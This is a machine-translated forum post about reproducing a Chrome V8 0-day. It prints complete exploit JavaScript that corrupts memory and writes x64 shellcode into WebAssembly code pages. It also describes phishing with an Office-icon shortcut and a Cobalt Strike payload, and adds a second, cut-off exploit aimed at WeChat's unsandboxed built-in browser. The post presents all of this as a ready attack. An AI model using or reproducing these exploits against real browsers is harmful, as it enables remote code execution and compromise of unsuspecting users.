Jump to content

Title: Chrome 0Day Reproduction and Thinking

Featured Replies

Posted

Chrome 0Day 复现与思考

1 漏洞复现

During the HW period, Chrome 0Day was revealed, and it was reappeared.

https://github.com/avboy1337/1195777-chrome0day

POC for notepad:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

script

function gc() {

for (var i=0; i0x80000; ++i) {

var a=new ArrayBuffer();

}

}

let shellcode=[0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,

0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,

0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,

0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,

0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,

0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,

0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,

0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,

0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,

0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,

0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41,0x58,0x5E,0x59,0x5A,

0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,

0x59,0x5A,0x48,0x8B,0x12,0xE9,0x57,0xFF,0xFF,0xFF,0x5D,0x48,0xBA,0x01,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x8D,0x01,0x01,0x01,0x00,0x00,0x41,0xBA,0x31,0x8B,

0x6F,0x87,0xFF,0xD5,0xBB,0xF0,0xB5,0xA2,0x56,0x41,0xBA,0xA6,0x95,0xBD,0x9D,0xFF,

0xD5,0x48,0x83,0xC4,0x28,0x3C,0x06,0x7C,0x0A,0x80,0xFB,0xE0,0x75,0x05,0xBB,0x47,

0x13,0x72,0x6F,0x6A,0x00,0x59,0x41,0x89,0xDA,0xFF,0xD5,0x6E,0x6F,0x74,0x65,0x70,

0x61,0x64,0x2E,0x65,0x78,0x65,0x00];

var wasmCode=new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 0, 0, 65, 42, 11]);

var wasmModule=new WebAssembly.Module(wasmCode);

var wasmInstance=new WebAssembly.Instance(wasmModule);

var main=wasmInstance.exports.main;

var bf=new ArrayBuffer(8);

var bfView=new DataView(bf);

function fLow(f) {

bfView.setFloat64(0, f, true);

return (bfView.getUint32(0, true));

}

function fHi(f) {

bfView.setFloat64(0, f, true);

return (bfView.getUint32(4, true))

}

function i2f(low, hi) {

bfView.setUint32(0, low, true);

bfView.setUint32(4, hi, true);

return bfView.getFloat64(0, true);

}

function f2big(f) {

bfView.setFloat64(0, f, true);

return bfView.getBigUint64(0, true);

}

function big2f(b) {

bfView.setBigUint64(0, b, true);

return bfView.getFloat64(0, true);

}

class LeakArrayBuffer extends ArrayBuffer {

constructor(size) {

super(size);

this.slot=0xb33f;

}

}

function foo(a) {

let x=-1;

if (a) x=0xFFFFFFF;

var arr=new Array(Math.sign(0 - Math.max(0, x, -1)));

arr.shift();

let local_arr=Array(2);

local_arr[0]=5.1;//40146666666666666

let buff=new LeakArrayBuffer(0x1000);//byteLength idx=8

arr[0]=0x1122;

return [arr, local_arr, buff];

}

for (var i=0; i0x10000; ++i)

foo(false);

gc(); gc();

[corprput_arr, rwarr, corrupt_buff]=foo(true);

corrput_arr[12]=0x22444;

delete corrput_arr;

function setbackingStore(hi, low) {

rwarr[4]=i2f(fLow(rwarr[4]), hi);

rwarr[5]=i2f(low, fHi(rwarr[5]));

}

function leakObjLow(o) {

corrupt_buff.slot=o;

return (fLow(rwarr[9]) - 1);

}

let corrupt_view=new DataView(corrupt_buff);

let corrupt_buffer_ptr_low=leakObjLow(corrupt_buff);

let idx0Addr=corrupt_buffer_ptr_low -0x10;

let baseAddr=(corrupt_buffer_ptr_low0xffff0000) - ((corrupt_buffer_ptr_low0xffff0000) %0x40000) +0x40000;

let delta=baseAddr +0x1c - idx0Addr;

if ((delta % 8)==0) {

let baseIdx=delta/8;

this.base=fLow(rwarr[baseIdx]);

} else {

let baseIdx=((delta - (delta % 8))/8);

this.base=fHi(rwarr[baseIdx]);

}

let wasmInsAddr=leakObjLow(wasmInstance);

setbackingStore(wasmInsAddr, this.base);

let code_entry=corrupt_view.getFloat64(13 * 8, true);

setbackingStore(fLow(code_entry), fHi(code_entry));

for (let i=0; i shellcode.length; i++) {

corrupt_view.setUint8(i, shellcode[i]);

}

main();

/script

The prerequisite is to turn off Chrome's sandbox mode:

20210415110756.png-water_print

Execute POC.html:

20210415110926.png-water_print

Shortcut fishing, just change the Office icon:

20210415111158.png-water_print

CS Online:

Generate a 64-bit payload and convert the format to:

20210415113232.png-water_print

Execute POC and successfully launched:

20210415113309.png-water_print

2 思考

The built-in Chrome browser under the windows WeChat client turns off sandbox mode by default, but it is 32-bit. If there is a 32-bit payload, you can use the client under win to phish.

3 后续补充

windows WeChat client payload:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

ENABLE_LOG=true;

IN_WORKER=true;

//input your shellcode

var shellcode=[0x00,0x00];

function print(data) {

}

var not_optimised_out=0;

var target_function=(function (value) {

if (value==0xdecaf0) {

not_optimised_out +=1;

}

not_optimised_out +=1;

not_optimised_out |=0xff;

not_optimised_out *=12;

});

for (var i=0; i0x10000; ++i) {

target_function(i);

}

var g_array;

var tDerivedNCount=17 * 87481 - 8;

var tDerivedNDepth=19 * 19;

function cb(flag) {

if (flag==true) {

return;

}

g_array=new Array(0);

g_array[0]=0x1dbabe * 2;

return 'c01db33f';

}

function gc() {

for (var i=0; i0x10000; ++i) {

new String();

}

}

function oobAccess() {

var this_=this;

this.buffer=null;

this.buffer_view=null;

this.page_buffer=null;

this.page_view=null;

this.prevent_opt=[];

var kSlotOffset=0x1f;

var kBackingStoreOffset=0xf;

class LeakArrayBuffer extends ArrayBuffer {

constructor() {

super(0x1000);

this.slot=this;

}

}

this.page_buffer=new LeakArrayBuffer();

this.page_view=new DataView(this.page_buffer);

new RegExp({ toString: function () { return 'a' } });

cb(true);

class DerivedBase extends RegExp {

constructor() {

//var array=null;

super(

//at this point, the 4-byte allocation for the JSRegExp `this` object

//has just happened.

{

toString: cb

}, 'g'

//now the runtime JSRegExp constructor is called, corrupting the

//JSArray.

);

//this allocation will now directly follow the FixedArray allocation

//made for `this.data`, which is where `array.elements` points to.

this_.buffer=new ArrayBuffer(0x80);

g_array[8]=this_.page_buffer;

}

}

//try{

var derived_n=eval(`(function derived_n(i) {

if (i==0) {

return DerivedBase;

}

class DerivedN extends derived_n(i-1) {

constructor() {

super();

return;

${'this.a=0;'.repeat(tDerivedNCount)}

}

}

return DerivedN;

})`);

gc();

new (derived_n(tDerivedNDepth))();

this.buffer_view=new DataView(this.buffer);

this.leakPtr=function (obj) {

this.page_buffer.slot=obj;

return this.buffer_view.getUint32(kSlotOffset, true,this.prevent_opt);

}

this.setPtr=function (addr) {

this.buffer_view.setUint32(kBackingStoreOffset, addr, true,this.prevent_opt);

}

this.read32=function (addr) {

this.setPtr(addr);

return this.page_view.getUint32(0, true,

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.